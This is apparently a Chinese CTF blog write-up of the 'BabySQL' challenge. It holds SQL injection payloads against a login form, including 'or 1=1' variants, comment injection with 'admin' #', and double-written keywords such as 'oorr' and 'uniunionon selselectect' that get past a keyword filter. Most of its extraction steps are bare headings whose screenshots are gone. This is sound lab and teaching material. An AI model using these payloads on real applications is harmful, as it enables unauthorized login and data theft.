[极客大挑战 2019]BabySQL

如题:

[极客大挑战 2019]BabySQL

很明显、SQL注入题

分析:

常规步骤:

1、找到注入点、有无过滤?

[极客大挑战 2019]BabySQL

2、有过滤、找绕过

**or**被过滤了、尝试构造

admin’ %230a%or 1 = 1;–、

admin’ o0a%r 1 = 1;–、

admin’ o23%r 1 = 1;–、

admin’ %230a%/!* or */ 1 = 1;–、

显然,没找到过滤规则 ==》 尝试ororor ==》 无果,尝试oorr ==》 绕过

没有过滤注释 ==》admin’ # ==》登录成功

[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

解题:

3、获取当前数据及当前用户

[极客大挑战 2019]BabySQL

4、获取表名称

[极客大挑战 2019]BabySQL

5、获取列名称

[极客大挑战 2019]BabySQL

6、获取数据

[极客大挑战 2019]BabySQL

7、举个例子

[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

select出来啦!Then ==》 admin’ uniunionon selselectect

[极客大挑战 2019]BabySQL

相关文章:

  • 2021-04-01
  • 2022-12-23
  • 2021-07-30
  • 2021-08-01
  • 2022-12-23
  • 2021-10-10
  • 2021-05-25
  • 2021-11-28
猜你喜欢
  • 2021-04-27
  • 2021-12-05
相关资源
相似解决方案